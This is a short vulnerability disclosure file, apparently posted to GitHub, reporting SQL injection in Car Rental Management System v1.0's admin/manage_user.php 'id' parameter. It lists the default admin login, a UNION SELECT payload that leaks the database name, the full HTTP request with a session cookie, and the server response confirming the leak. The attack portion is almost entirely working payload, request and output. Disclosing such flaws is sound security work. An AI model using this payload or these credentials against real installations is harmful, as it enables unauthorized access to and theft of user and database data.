debug601 Create SQLi-8.md History

1 contributor

29 lines (20 sloc) | 1.18 KB

Car Rental Management System v1.0 has SQL injection

The password for the backend login account is: admin/admin123

vendors: https://www.campcodes.com/projects/php/car-rental-management-system/

Vulnerability File: /car-rental-management-system/admin/manage_user.php?id=

Vulnerability location: /car-rental-management-system/admin/manage_user.php?id=,id

[+] Payload: /car-rental-management-system/admin/manage_user.php?id=-1%20union%20select%201,database(),3,4,5--+ // Leak place ---> id

Current database name: car_rental_db

```
GET /car-rental-management-system/admin/manage_user.php?id=-1%20union%20select%201,d
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

```
Cookie: PHPSESSID=q0aiu0hqk51vrl4kivubc7u18k
Connection: close
```

```
GET
/car-rental-management-system/admin/man
age_user.php?id=-1%20union%20select%201
,database(),3,4,5--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT
10.0; WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
text/html,application/xhtml+xml,applica
tion/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
PHPSESSID=q0aiu0hqk51vrl4kivubc7u18k
Connection: close
```

```
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 1550
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="container-fluid">
        <div id="msg"></div>

        <form action="" id="manage-user">
                <input type="hidden" name="id" value="1">
                <div class="form-group">
                        <label for="name">Name</label>
                        <input type="text" name="name" id="name" class="form-control" value="car_rental_db"
required>
                </div>
                <div class="form-group">
                        <label for="username">Username</label>
                        <input type="text" name="username" id="username" class="form-control" value="3"
required  autocomplete="off">
                </div>
                <div class="form-group">
                        <label for="password">Password</label>
```